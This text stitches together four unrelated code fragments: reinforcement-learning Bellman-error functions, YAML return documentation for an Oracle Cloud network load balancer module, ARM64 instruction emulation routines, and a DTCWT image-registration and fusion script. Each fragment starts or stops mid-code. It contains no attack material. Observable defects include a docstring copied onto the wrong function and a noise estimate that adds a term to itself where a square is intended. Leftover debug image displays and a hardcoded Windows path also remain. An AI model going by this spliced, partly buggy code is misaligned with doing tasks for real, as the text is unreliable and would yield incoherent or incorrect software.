def mspbeStateValues( theta, mdp, basisFunction, stochasticPolicy, parametricPolicy=True, ds=None ):
'''
Compute the MSPBE for a state-action value function.
@param theta: Value function parameter vector.
@param mdp: MDP.
@param basisFunction: State basis function.
@param stochasticPolicy: Stochastic policy.
@return: MSPBE for given theta.
'''
if parametricPolicy:
pi = stochasticPolicy.copy()
def q( s, a ):
return np.dot( theta, basisFunction( s, a ) )
pi.setActionValueFunction( q )
stochasticPolicy = pi
Ppi = computeTransitionModel( mdp, stochasticPolicy )
if ds is None:
ds = stationaryDistribution( mdp, stochasticPolicy )
R = []
for s in mdp.getStateSpace():
r = 0
for a in mdp.getActionSpace():
r += stochasticPolicy.selectionProbability( s, a ) * mdp.getRewardExpected( s, a )
R.append( r )
R = np.array( R )
Phi = basisFunctionMatrixState( basisFunction, mdp )
Pi = computeMSPBEProjectionMatrix( ds, Phi )
V = np.dot( Phi, theta )
err = np.dot( Pi, V - ( R + mdp.getGamma() * np.dot( Ppi, V ) ) )
mspbe = np.dot( err, ds * err )
return mspbe
def msbeStateValues( theta, mdp, basisFunction, stochasticPolicy, parametricPolicy=True, errweights=None ):
'''
Compute the MSPBE for a state-action value function.
@param theta: Value function parameter vector.
@param mdp: MDP.
@param basisFunction: State basis function.
@param stochasticPolicy: Stochastic policy.
@return: MSPBE for given theta.
'''
if parametricPolicy:
pi = stochasticPolicy.copy()
def q( s, a ):
return np.dot( theta, basisFunction( s, a ) )
pi.setActionValueFunction( q )
stochasticPolicy = pi
Ppi = computeTransitionModel( mdp, stochasticPolicy )
# ds = stationaryDistribution( mdp, stochasticPolicy )
R = []
for s in mdp.getStateSpace():
r = 0
for a in mdp.getActionSpace():
r += stochasticPolicy.selectionProbability( s, a ) * mdp.getRewardExpected( s, a )
R.append( r )
R = np.array( R )
Phi = basisFunctionMatrixState( basisFunction, mdp )
V = np.dot( Phi, theta )
# print 'Q values: ' + str( Q )
err = V - ( R + mdp.getGamma() * np.dot( Ppi, V ) )
# err = Q - ( R + mdp.getGamma() * np.dot( Ppi, Q ) )
msbe = np.linalg.norm( err )
return msbe
def mstdeStateValues( theta, mdp, phi, pi ):
'''
Compute the expected value of the TD error squared, E[delta^2], where the expectation
is over the stationary state distribution and the next state distribution.
@param theta: Parameter vector for action-values.
@param mdp: MDP
@param phi: Basis function (function of state pairs).
@param pi: Stochastic behaviour policy.
@return: MSTDE
'''
ds = stationaryDistribution( mdp, pi )
err = 0
for s in mdp.getStateSpace():
si = mdp.indexOfState( s )
prob = ds[si]
tderror_s = 0
for a in mdp.getActionSpace():
nextStateDistr = mdp.getNextStateDistribution( s, a )
for snext in mdp.getStateSpace():
sj = mdp.indexOfState( snext )
prob_transition = pi.selectionProbability( s, a ) * nextStateDistr[sj]
if prob_transition == 0:
continue
reward = mdp.getReward( s, a, snext )
tderror_s = tderror_s + prob_transition * ( reward + mdp.getGamma() * np.dot( theta, phi( snext ) ) - np.dot( theta, phi( s ) ) ) ** 2
err = err + prob * tderror_s
return err
def mstdeStateActionValues( theta, mdp, phi, pi, parametricPolicy=True, d_sa=None, d_s=None ):
'''
Compute the expected value of the TD error squared, E[delta^2], where the expectation
is over the stationary state-action pair distribution and the next state-action pair
distribution.
@param | |
rules,https://docs.cloud.oracle.com/Content/network/Concepts/securitylists.htm) for your virtual cloudn network. For more
information about public and
private network load balancers,
see L(How Network Load Balancing Works,https://docs.cloud.oracle.com/Content/Balance/Concepts/balanceoverview.htm#how-network-load-balancing-
works).
This value is true by default.
- "Example: `true`"
returned: on success
type: bool
sample: true
is_preserve_source_destination:
description:
- When enabled, the skipSourceDestinationCheck parameter is automatically enabled on the load balancer VNIC.
Packets are sent to the backend set without any changes to the source and destination IP.
returned: on success
type: bool
sample: true
subnet_id:
description:
- "The subnet in which the network load balancer is spawned L(OCIDs,https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm).\\""
returned: on success
type: str
sample: "ocid1.subnet.oc1..xxxxxxEXAMPLExxxxxx"
network_security_group_ids:
description:
- An array of network security groups L(OCIDs,https://docs.cloud.oracle.com/Content/General/Concepts/identifiers.htm) associated with the
network load
balancer.
- During the creation of the network load balancer, the service adds the new load balancer to the specified network security groups.
- "The benefits of associating the network load balancer with network security groups include:"
- "* Network security groups define network security rules to govern ingress and egress traffic for the network load balancer."
- "* The network security rules of other resources can reference the network security groups associated with the network load balancer
to ensure access."
- "Example: [\\"ocid1.nsg.oc1.phx.unique_ID\\"]"
returned: on success
type: list
sample: []
listeners:
description:
- Listeners associated with the network load balancer.
returned: on success
type: complex
contains:
name:
description:
- A friendly name for the listener. It must be unique and it cannot be changed.
- "Example: `example_listener`"
returned: on success
type: str
sample: name_example
default_backend_set_name:
description:
- The name of the associated backend set.
- "Example: `example_backend_set`"
returned: on success
type: str
sample: default_backend_set_name_example
port:
description:
- The communication port for the listener.
- "Example: `80`"
returned: on success
type: int
sample: 56
protocol:
description:
- The protocol on which the listener accepts connection requests.
For public network load balancers, ANY protocol refers to TCP/UDP.
For private network load balancers, ANY protocol refers to TCP/UDP/ICMP (note that ICMP requires isPreserveSourceDestination to be set
to true).
To get a list of valid protocols, use the L(ListNetworkLoadBalancersProtocols,https://docs.cloud.oracle.com/en-
us/iaas/api/#/en/NetworkLoadBalancer/20200501/networkLoadBalancerProtocol/ListNetworkLoadBalancersProtocols)
operation.
- "Example: `TCP`"
returned: on success
type: str
sample: ANY
ip_version:
description:
- IP version associated with the listener.
returned: on success
type: str
sample: IPV4
backend_sets:
description:
- Backend sets associated with the network load balancer.
returned: on success
type: complex
contains:
name:
description:
- A user-friendly name for the backend set that must be unique and cannot be changed.
- Valid backend set names include only alphanumeric characters, dashes, and underscores. Backend set names cannot
contain spaces. Avoid entering confidential information.
- "Example: `example_backend_set`"
returned: on success
type: str
sample: name_example
policy:
description:
- The network load balancer policy for the backend set.
- "Example: `FIVE_TUPLE`"
returned: on success
type: str
sample: TWO_TUPLE
is_preserve_source:
description:
- If this parameter is enabled, then the network load balancer preserves the source IP of the packet when it is forwarded to backends.
Backends see the original source IP. If the isPreserveSourceDestination parameter is enabled for the network load balancer resource,
then this parameter cannot be disabled.
The value is true by default.
returned: on success
type: bool
sample: true
ip_version:
description:
- IP version associated with the backend set.
returned: on success
type: str
sample: IPV4
backends:
description:
- Array of backends.
returned: on success
type: complex
contains:
name:
description:
- A read-only field showing the IP address/IP OCID and port that uniquely identify this backend server in the backend set.
- "Example: `10.0.0.3:8080`, or `ocid1.privateip..oc1.<var><unique_ID></var>:443` or `10.0.0.3:0`"
returned: on success
type: str
sample: name_example
ip_address:
description:
- "The IP address of the backend server.
Example: `10.0.0.3`"
returned: on success
type: str
sample: ip_address_example
target_id:
description:
- "The IP OCID/Instance OCID associated with the backend server.
Example: `ocid1.privateip..oc1.<var><unique_ID></var>`"
returned: on success
type: str
sample: "ocid1.target.oc1..xxxxxxEXAMPLExxxxxx"
port:
description:
- The communication port for the backend server.
- "Example: `8080`"
returned: on success
type: int
sample: 56
weight:
description:
- The network load balancing policy weight assigned to the server. Backend servers with a higher weight receive a larger
proportion of incoming traffic. For example, a server weighted '3' receives three times the number of new connections
as a server weighted '1'.
For more information about load balancing policies, see
L(How Network Load Balancing Policies Work,https://docs.cloud.oracle.com/Content/Balance/Reference/lbpolicies.htm).
- "Example: `3`"
returned: on success
type: int
sample: 56
is_drain:
description:
- "Whether the network load balancer should drain this server. Servers marked \\"isDrain\\" receive no
incoming traffic."
- "Example: `false`"
returned: on success
type: bool
sample: true
is_backup:
description:
- "Whether the network load balancer should treat this server as a backup unit. If `true`, then the network load balancer
forwards no ingress
traffic to this backend server unless all other backend servers not marked as \\"isBackup\\" fail the health check policy."
- "Example: `false`"
returned: on success
type: bool
sample: true
is_offline:
description:
- Whether the network load balancer should treat this server as offline. Offline servers receive no incoming
traffic.
- "Example: `false`"
returned: on success
type: bool
sample: true
health_checker:
description:
- ""
returned: on success
type: complex
contains:
protocol:
description:
- The protocol the health check must use; either HTTP or HTTPS, or UDP or TCP.
- "Example: `HTTP`"
returned: on success
type: str
sample: HTTP
port:
description:
- The backend server port against which to run the health check. If the port is not specified, then the network load balancer
uses the
port information from the `Backend` object. The port must be specified if the backend port is 0.
- "Example: `8080`"
returned: on success
type: int
sample: 56
retries:
description:
- "The number of retries to attempt before a backend server is considered \\"unhealthy\\". This number also applies
when recovering a server to the \\"healthy\\" state. The default value is 3."
- "Example: `3`"
returned: on success
type: int
sample: 56
timeout_in_millis:
description:
- The maximum time, in milliseconds, to wait for a reply to a health check. A health check is successful only if a reply
returns within this timeout period. The default value is 3000 (3 seconds).
- "Example: `3000`"
returned: on success
type: int
sample: 56
interval_in_millis:
description:
- The interval between health checks, in milliseconds. The default value is 10000 (10 seconds).
- "Example: `10000`"
returned: on success
type: int
sample: 56
url_path:
description:
- The path against which to run the health check.
- "Example: `/healthcheck`"
returned: on success
type: str
sample: url_path_example
response_body_regex:
description:
- A regular expression for parsing the response body from the backend server.
- "Example: `^((?!false).|\\\\s)*$`"
returned: on success
type: str
sample: response_body_regex_example
return_code:
description:
- "The status code a healthy backend server should return. If you configure the health check policy to use the HTTP protocol,
then you can use common HTTP status codes such as \\"200\\"."
- "Example: `200`"
returned: on success
type: int
sample: 56
request_data:
description:
- Base64 encoded pattern to be sent as UDP or TCP health check probe.
returned: on success
type: str
sample: "null"
response_data:
description:
- Base64 encoded pattern to be validated as UDP or TCP health check probe response.
returned: on success
type: str
sample: "null"
freeform_tags:
description:
- Free-form tags for this resource. Each tag is a simple key-value pair with no predefined name, type, or namespace.
For more information, see L(Resource Tags,https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm).
- "Example: `{\\"Department\\": \\"Finance\\"}`"
returned: on success
type: dict
sample: {'Department': 'Finance'}
defined_tags:
description:
- Defined tags for this resource. Each key is predefined and scoped to a namespace.
For more information, see L(Resource Tags,https://docs.cloud.oracle.com/Content/General/Concepts/resourcetags.htm).
- "Example: `{\\"Operations\\": {\\"CostCenter\\": \\"42\\"}}`"
returned: on success
type: dict
sample: {'Operations': {'CostCenter': 'US'}}
system_tags:
description:
- "Key-value pair representing system tags' keys and values scoped to a namespace.
Example: `{\\"bar-key\\": \\"value\\"}`"
returned: on success
type: dict
sample: {}
| |
+= "1{5}" # Rt2
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rt
assert re.match(insn_rx, cpu.insn_bit_str)
# XXX: Support exclusive access.
base = cpu.regfile.read(mem_op.mem.base)
imm = mem_op.mem.disp
assert imm == 0
result = cpu.read_int(base, reg_op.size)
reg_op.write(result)
def _LSL_immediate(cpu, res_op, reg_op, imm_op):
"""
LSL (immediate).
:param res_op: destination register.
:param reg_op: source register.
:param imm_op: immediate.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op.type is cs.arm64.ARM64_OP_REG
assert imm_op.type is cs.arm64.ARM64_OP_IMM
insn_rx = "[01]" # sf
insn_rx += "10" # opc
insn_rx += "100110"
insn_rx += "[01]" # N
insn_rx += "[01]{6}" # immr
insn_rx += "[01]{6}" # imms
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
imm = imm_op.op.imm
# Fake immediate operands.
immr_op = Aarch64Operand.make_imm(cpu, -imm % res_op.size)
imms_op = Aarch64Operand.make_imm(cpu, res_op.size - 1 - imm)
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.UBFM.__wrapped__(cpu, res_op, reg_op, immr_op, imms_op)
def _LSL_register(cpu, res_op, reg_op1, reg_op2):
"""
LSL (register).
:param res_op: destination register.
:param reg_op1: source register.
:param reg_op2: source register.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op1.type is cs.arm64.ARM64_OP_REG
assert reg_op2.type is cs.arm64.ARM64_OP_REG
insn_rx = "[01]" # sf
insn_rx += "0"
insn_rx += "0"
insn_rx += "11010110"
insn_rx += "[01]{5}" # Rm
insn_rx += "0010"
insn_rx += "00" # op2
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.LSLV.__wrapped__(cpu, res_op, reg_op1, reg_op2)
@instruction
def LSL(cpu, res_op, reg_op, reg_imm_op):
"""
Combines LSL (register) and LSL (immediate).
:param res_op: destination register.
:param reg_op: source register.
:param reg_imm_op: source register or immediate.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op.type is cs.arm64.ARM64_OP_REG
assert reg_imm_op.type in [cs.arm64.ARM64_OP_REG, cs.arm64.ARM64_OP_IMM]
if reg_imm_op.type == cs.arm64.ARM64_OP_REG:
cpu._LSL_register(res_op, reg_op, reg_imm_op)
elif reg_imm_op.type == cs.arm64.ARM64_OP_IMM:
cpu._LSL_immediate(res_op, reg_op, reg_imm_op)
else:
raise Aarch64InvalidInstruction
@instruction
def LSLV(cpu, res_op, reg_op1, reg_op2):
"""
LSLV.
:param res_op: destination register.
:param reg_op1: source register.
:param reg_op2: source register.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op1.type is cs.arm64.ARM64_OP_REG
assert reg_op2.type is cs.arm64.ARM64_OP_REG
insn_rx = "[01]" # sf
insn_rx += "0"
insn_rx += "0"
insn_rx += "11010110"
insn_rx += "[01]{5}" # Rm
insn_rx += "0010"
insn_rx += "00" # op2
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
reg = reg_op1.read()
sft = reg_op2.read()
result = LSL(reg, sft % res_op.size, res_op.size)
res_op.write(result)
def _LSR_immediate(cpu, res_op, reg_op, immr_op):
"""
LSR (immediate).
:param res_op: destination register.
:param reg_op: source register.
:param immr_op: immediate.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op.type is cs.arm64.ARM64_OP_REG
assert immr_op.type is cs.arm64.ARM64_OP_IMM
insn_rx = "[01]" # sf
insn_rx += "10" # opc
insn_rx += "100110"
insn_rx += "[01]" # N
insn_rx += "[01]{6}" # immr
insn_rx += "[01]1{5}" # imms
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
# Fake an immediate operand.
imms_op = Aarch64Operand.make_imm(cpu, res_op.size - 1)
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.UBFM.__wrapped__(cpu, res_op, reg_op, immr_op, imms_op)
def _LSR_register(cpu, res_op, reg_op1, reg_op2):
"""
LSR (register).
:param res_op: destination register.
:param reg_op1: source register.
:param reg_op2: source register.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op1.type is cs.arm64.ARM64_OP_REG
assert reg_op2.type is cs.arm64.ARM64_OP_REG
insn_rx = "[01]" # sf
insn_rx += "0"
insn_rx += "0"
insn_rx += "11010110"
insn_rx += "[01]{5}" # Rm
insn_rx += "0010"
insn_rx += "01" # op2
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.LSRV.__wrapped__(cpu, res_op, reg_op1, reg_op2)
@instruction
def LSR(cpu, res_op, reg_op, reg_imm_op):
"""
Combines LSR (register) and LSR (immediate).
:param res_op: destination register.
:param reg_op: source register.
:param reg_imm_op: source register or immediate.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op.type is cs.arm64.ARM64_OP_REG
assert reg_imm_op.type in [cs.arm64.ARM64_OP_REG, cs.arm64.ARM64_OP_IMM]
if reg_imm_op.type == cs.arm64.ARM64_OP_REG:
cpu._LSR_register(res_op, reg_op, reg_imm_op)
elif reg_imm_op.type == cs.arm64.ARM64_OP_IMM:
cpu._LSR_immediate(res_op, reg_op, reg_imm_op)
else:
raise Aarch64InvalidInstruction
@instruction
def LSRV(cpu, res_op, reg_op1, reg_op2):
"""
LSRV.
:param res_op: destination register.
:param reg_op1: source register.
:param reg_op2: source register.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op1.type is cs.arm64.ARM64_OP_REG
assert reg_op2.type is cs.arm64.ARM64_OP_REG
insn_rx = "[01]" # sf
insn_rx += "0"
insn_rx += "0"
insn_rx += "11010110"
insn_rx += "[01]{5}" # Rm
insn_rx += "0010"
insn_rx += "01" # op2
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
reg = reg_op1.read()
sft = reg_op2.read()
result = LSR(reg, sft % res_op.size, res_op.size)
res_op.write(result)
@instruction
def MADD(cpu, res_op, reg_op1, reg_op2, reg_op3):
"""
MADD.
:param res_op: destination register.
:param reg_op1: source register.
:param reg_op2: source register.
:param reg_op3: source register.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op1.type is cs.arm64.ARM64_OP_REG
assert reg_op2.type is cs.arm64.ARM64_OP_REG
assert reg_op3.type is cs.arm64.ARM64_OP_REG
insn_rx = "[01]" # sf
insn_rx += "00"
insn_rx += "11011"
insn_rx += "000"
insn_rx += "[01]{5}" # Rm
insn_rx += "0" # o0
insn_rx += "[01]{5}" # Ra
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
reg1 = reg_op1.read()
reg2 = reg_op2.read()
reg3 = reg_op3.read()
result = reg3 + (reg1 * reg2)
res_op.write(UInt(result, res_op.size))
def _MOV_to_general(cpu, res_op, reg_op):
"""
MOV (to general).
:param res_op: destination register.
:param reg_op: source register.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_op.type is cs.arm64.ARM64_OP_REG
insn_rx = "0"
insn_rx += "[01]" # Q
insn_rx += "0"
insn_rx += "01110000"
insn_rx += "[01]{3}00" # imm5
insn_rx += "0"
insn_rx += "01"
insn_rx += "1"
insn_rx += "1"
insn_rx += "1"
insn_rx += "[01]{5}" # Rn
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
# XXX: Check if trapped.
# XXX: Capstone doesn't set 'vess' for this alias:
# https://github.com/aquynh/capstone/issues/1452
if res_op.size == 32:
reg_op.op.vess = cs.arm64.ARM64_VESS_S
elif res_op.size == 64:
reg_op.op.vess = cs.arm64.ARM64_VESS_D
else:
raise Aarch64InvalidInstruction
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.UMOV.__wrapped__(cpu, res_op, reg_op)
# XXX: Support MOV (scalar), MOV (element), MOV (from general), and MOV
# (vector).
@instruction
def MOV(cpu, res_op, reg_imm_op):
"""
Combines MOV (to/from SP), MOV (inverted wide immediate), MOV (wide
immediate), MOV (bitmask immediate), MOV (register), and MOV (to
general).
:param res_op: destination register.
:param reg_imm_op: source register or immediate.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert reg_imm_op.type in [cs.arm64.ARM64_OP_REG, cs.arm64.ARM64_OP_IMM]
# Fake a register operand.
if res_op.size == 32:
zr = Aarch64Operand.make_reg(cpu, cs.arm64.ARM64_REG_WZR)
elif res_op.size == 64:
zr = Aarch64Operand.make_reg(cpu, cs.arm64.ARM64_REG_XZR)
else:
raise Aarch64InvalidInstruction
opc = cpu.insn_bit_str[1:3] # 'op S' for MOV (to/from SP)
bit26 = cpu.insn_bit_str[-27]
if reg_imm_op.type is cs.arm64.ARM64_OP_REG:
# MOV (to general).
if bit26 == "1":
cpu._MOV_to_general(res_op, reg_imm_op)
# MOV (to/from SP).
elif bit26 == "0" and opc == "00":
# Fake an immediate operand.
zero = Aarch64Operand.make_imm(cpu, 0)
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.ADD.__wrapped__(cpu, res_op, reg_imm_op, zero)
# MOV (register).
elif bit26 == "0" and opc == "01":
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.ORR.__wrapped__(cpu, res_op, zr, reg_imm_op)
else:
raise Aarch64InvalidInstruction
elif reg_imm_op.type is cs.arm64.ARM64_OP_IMM:
# MOV (inverted wide immediate).
if opc == "00":
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.MOVN.__wrapped__(cpu, res_op, reg_imm_op)
# MOV (wide immediate).
elif opc == "10":
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.MOVZ.__wrapped__(cpu, res_op, reg_imm_op)
# MOV (bitmask immediate).
elif opc == "01":
# The 'instruction' decorator advances PC, so call the original
# method.
cpu.ORR.__wrapped__(cpu, res_op, zr, reg_imm_op)
else:
raise Aarch64InvalidInstruction
else:
raise Aarch64InvalidInstruction
@instruction
def MOVK(cpu, res_op, imm_op):
"""
MOVK.
:param res_op: destination register.
:param imm_op: immediate.
"""
assert res_op.type is cs.arm64.ARM64_OP_REG
assert imm_op.type is cs.arm64.ARM64_OP_IMM
insn_rx = "[01]" # sf
insn_rx += "11" # opc
insn_rx += "100101"
insn_rx += "[01]{2}" # hw
insn_rx += "[01]{16}" # imm16
insn_rx += "[01]{5}" # Rd
assert re.match(insn_rx, cpu.insn_bit_str)
res = res_op.read()
imm = imm_op.op.imm
sft = imm_op.op.shift.value
if imm_op.is_shifted():
assert imm_op.op.shift.type == cs.arm64.ARM64_SFT_LSL
assert imm >= 0 and imm <= 65535
assert (res_op.size == 32 and | |
# vim: set fileencoding=utf8 :
"""Align, register and fuse frames specified on the command line using the
DTCWT fusion algorithm.
Usage:
fuseimages [options] <frames>...
fuseimages (-h | --help)
Options:
-n, --normalise Re-normalise input frames to lie on the
interval [0,1].
-v, --verbose Increase logging verbosity.
-o PREFIX, --output-prefix=PREFIX Prefix output filenames with PREFIX.
[default: fused-]
-r STRATEGY, --ref=STRATEGY Use STRATEGY to select reference
frame. [default: middle]
--register-to=REFERENCE Which frame to use as registration reference.
[default: mean-aligned]
--save-registered-frames Save registered frames in npz format.
--save-registered-frame-images Save registered frames, one image per frame.
--save-input-frames Save input frames in npz format.
--save-input-frame-images Save input frames, one image per frame.
The frame within <frames> used as a reference frame can be selected via the
--ref flag. The strategy can be one of:
middle Use the middle frame.
first Use the first frame.
last Use the last frame.
max-mean Use the frame with the maximum mean value. This is useful in
the situation where you have a large number of blank frames in
the input sequence.
max-range Use the frame with the maximum range of values.
The frame to be used as reference for the DTCWT-based image registration can be
selected via the --register-to flag. It can take the following values:
mean-aligned Use the mean of the aligned frames. This is useful if your
input images are very noisy since it avoids
"over-registering" to the noise.
reference Use the same image as the bulk alignment step.
"""
from __future__ import print_function, division, absolute_import
import cv2
import logging
from os import walk
from _images2gif import writeGif
import sys
import dtcwt
import dtcwt.registration
import dtcwt.sampling
from docopt import docopt
import numpy as np
from PIL import Image
from scipy.signal import fftconvolve
from six.moves import xrange
'''
import scipy
from scipy import ndimage
import matplotlib.pyplot as plt
'''
def load_frames(path, filenames, normalise=True):
"""Load frames from *filenames* returning a 3D-array with all pixel values.
If *normalise* is True, then input frames are normalised onto the range
[0,1].
"""
frames = []
for fn in filenames:
# Load image with PIL
logging.info('Loading "{fn}"'.format(fn=fn))
im = Image.open(path + '\\' + fn)
#im.show()
#print(len(im.getdata()[0]))
data = np.asarray(im)
data = data[:,:,0]
# Extract data and store as floating point data
im_array = np.array(data, dtype=np.float32).reshape(im.size[::-1])
# If we are to normalise, do so
if normalise:
im_array -= im_array.min()
im_array /= im_array.max()
# If this isn't the first image, check that shapes are consistent
if len(frames) > 0:
if im_array.shape != frames[-1].shape:
logging.warn('Skipping "{fn}" with inconsistent shape'.format(fn=fn))
continue
frames.append(im_array)
logging.info('Loaded {0} image(s)'.format(len(frames)))
return np.dstack(frames)
def align(frames, template):
"""
Warp each slice of the 3D array frames to align it to *template*.
"""
if frames.shape[:2] != template.shape:
raise ValueError('Template must be same shape as one slice of frame array')
# Calculate xs and ys to sample from one frame
xs, ys = np.meshgrid(np.arange(frames.shape[1]), np.arange(frames.shape[0]))
# Calculate window to use in FFT convolve
w = np.outer(np.hamming(template.shape[0]), np.hamming(template.shape[1]))
# Calculate a normalisation for the cross-correlation
ccnorm = 1.0 / fftconvolve(w, w)
# Set border of normalisation to zero to avoid overfitting. Borser is set so that there
# must be a minimum of half-frame overlap
ccnorm[:(template.shape[0]>>1),:] = 0
ccnorm[-(template.shape[0]>>1):,:] = 0
ccnorm[:,:(template.shape[1]>>1)] = 0
ccnorm[:,-(template.shape[1]>>1):] = 0
# Normalise template
tmpl_min = template.min()
norm_template = template - tmpl_min
tmpl_max = norm_template.max()
norm_template /= tmpl_max
warped_ims = []
i = 0
for frame_idx in xrange(frames.shape[2]):
logging.info('Aligning frame {0}/{1}'.format(frame_idx+1, frames.shape[2]))
frame = frames[:,:,frame_idx]
'''
if i == 0:
im = Image.fromarray(tonemap(frame).copy(), 'L')
im.show()
'''
# Normalise frame
norm_frame = frame - tmpl_min
norm_frame /= tmpl_max
'''
if i == 0:
im = Image.fromarray(tonemap(norm_frame).copy(), 'L')
im.show()
'''
# Convolve template and frame
ex1 = norm_template*w
ex2 = np.fliplr(np.flipud(norm_frame*w))
'''
if i == 0:
im1 = Image.fromarray(tonemap(ex1).copy(), 'L')
im1.show()
im2 = Image.fromarray(tonemap(ex2).copy(), 'L')
im2.show()
'''
conv_im = fftconvolve(ex1, ex2)
'''
if i == 0:
im = Image.fromarray(tonemap(conv_im).copy(), 'L')
im.show()
'''
conv_im *= ccnorm
'''
if i == 0:
im = Image.fromarray(tonemap(conv_im).copy(), 'L')
im.show()
'''
# Find maximum location
max_loc = np.unravel_index(conv_im.argmax(), conv_im.shape)
# Convert location to shift
dy = max_loc[0] - template.shape[0] + 1
dx = max_loc[1] - template.shape[1] + 1
print(dy, dx)
logging.info('Offset computed to be ({0},{1})'.format(dx, dy))
curr_img = dtcwt.sampling.sample(frame, xs-dx, ys-dy, method='bilinear')
# Warp image
warped_ims.append(curr_img)
#save_image('cur_img- ' + str(i), curr_img)
i += 1
return np.dstack(warped_ims)
def register(frames, template, nlevels=7):
"""
Use DTCWT registration to return warped versions of frames aligned to template.
"""
# Normalise template
tmpl_min = template.min()
norm_template = template - tmpl_min
tmpl_max = norm_template.max()
norm_template /= tmpl_max
# Transform template
transform = dtcwt.Transform2d()
template_t = transform.forward(norm_template, nlevels=nlevels)
warped_ims = []
i = 0
for frame_idx in xrange(frames.shape[2]):
logging.info('Registering frame {0}/{1}'.format(frame_idx+1, frames.shape[2]))
frame = frames[:,:,frame_idx]
# Normalise frame
norm_frame = frame - tmpl_min
norm_frame /= tmpl_max
# Transform frame
frame_t = transform.forward(norm_frame, nlevels=nlevels)
# Register
reg = dtcwt.registration.estimatereg(frame_t, template_t)
ex = dtcwt.registration.warp(frame, reg, method='bilinear')
if i == 0:
im = Image.fromarray(tonemap(ex).copy(), 'L')
im.show()
kernel = np.zeros( (13,13), np.float32)
kernel[4,4] = 2.0
boxFilter = np.ones( (13,13), np.float32) / 169.0
#Subtract the two:
kernel = kernel - boxFilter
imgIn = Image.fromarray(tonemap(ex).copy(), 'L')
custom = cv2.filter2D(ex, -1, kernel)
data = np.asarray(custom)
# Extract data and store as floating point data
sharpened = np.array(data, dtype=np.float32).reshape(im.size[::-1])
'''
blurred_f = ndimage.gaussian_filter(ex, 3)
filter_blurred_f = ndimage.gaussian_filter(blurred_f, 1)
alpha = 30
sharpened = blurred_f + alpha * (blurred_f - filter_blurred_f)
'''
if i == 0:
im = Image.fromarray(tonemap(sharpened).copy(), 'L')
im.show()
warped_ims.append(sharpened)
i += 1
return np.dstack(warped_ims)
def tonemap(array):
# The normalisation strategy here is to let the middle 98% of
# the values fall in the range 0.01 to 0.99 ('black' and 'white' level).
black_level = np.percentile(array, 1)
white_level = np.percentile(array, 99)
norm_array = array - black_level
norm_array /= (white_level - black_level)
norm_array = np.clip(norm_array + 0.01, 0, 1)
return np.array(norm_array * 255, dtype=np.uint8)
def save_image(filename, array):
# Copy is workaround for http://goo.gl/8fuOJA
im = Image.fromarray(tonemap(array).copy(), 'L')
logging.info('Saving "{0}"'.format(filename + '.png'))
im.save(filename + '.png')
def transform_frames(frames, nlevels=7):
# Transform each registered frame storing result
lowpasses = []
highpasses = []
for idx in xrange(nlevels):
highpasses.append([])
transform = dtcwt.Transform2d()
for frame_idx in xrange(frames.shape[2]):
logging.info('Transforming frame {0}/{1}'.format(frame_idx+1, frames.shape[2]))
frame = frames[:,:,frame_idx]
frame_t = transform.forward(frame, nlevels=nlevels)
lowpasses.append(frame_t.lowpass)
for idx in xrange(nlevels):
highpasses[idx].append(frame_t.highpasses[idx][:,:,:,np.newaxis])
return np.dstack(lowpasses), tuple(np.concatenate(hp, axis=3) for hp in highpasses)
def reconstruct(lowpass, highpasses):
transform = dtcwt.Transform2d()
t = dtcwt.Pyramid(lowpass, highpasses)
return transform.inverse(t)
def shrink_coeffs(highpasses):
"""Implement Bivariate Laplacian shrinkage as described in [1].
*highpasses* is a sequence containing wavelet coefficients for each level
fine-to-coarse. Return a sequence containing the shrunken coefficients.
[1] <NAME>, <NAME>, <NAME>, and <NAME>, “Non-gaussian model-
based fusion of noisy frames in the wavelet domain,” Comput. Vis. Image
Underst., vol. 114, pp. 54–65, Jan. 2010.
"""
shrunk_levels = []
# Estimate noise from first level coefficients:
# \sigma_n = MAD(X_1) / 0.6745
# Compute median absolute deviation of wavelet magnitudes. This is more than
# a little magic compared to the 1d version.
level1_mad_real = np.median(np.abs(highpasses[0].real - np.median(highpasses[0].real)))
level1_mad_imag = np.median(np.abs(highpasses[0].imag - np.median(highpasses[0].imag)))
sigma_n = np.sqrt(level1_mad_real*level1_mad_real + level1_mad_imag+level1_mad_imag) / (np.sqrt(2) * 0.6745)
# In this context, parent == coarse, child == fine. Work from
# coarse to fine
shrunk_levels.append(highpasses[-1])
